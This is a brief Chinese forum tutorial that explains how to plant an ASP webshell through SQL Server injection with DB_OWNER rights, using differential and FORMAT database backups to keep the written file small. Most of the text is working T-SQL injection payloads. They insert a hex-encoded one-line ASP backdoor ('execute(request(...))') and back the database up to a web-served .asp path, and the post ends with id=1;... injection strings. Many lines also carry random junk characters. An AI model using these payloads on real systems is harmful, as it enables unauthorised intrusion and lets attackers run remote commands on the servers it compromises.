DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
. ]4 @6 Y- K7 l) Y加一个参数WITH DIFFERENTIAL

& u; r0 Z' a% \7 o* G; v9 ydeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
8 V7 t# O: _- Y5 A' Ccreate table [dbo].[xiaolu] ([cmd] [image]);
; x4 e9 ~% f. y- [6 m3 tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
/ B( e" V- x, V5 N加一个参数WITH FROMAT
9 Q, j( q0 C! _有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

0 q3 h. ^( }$ E0 _* j, e9 ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" R/ b& Z' q) q: `( [- R' D0 jcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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6 M+ M  F" a% x总的来说就是那么简单几句,下面以备份数据库model为例子
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0 y' t: z- K/ a7 v9 @( T4 r6 bid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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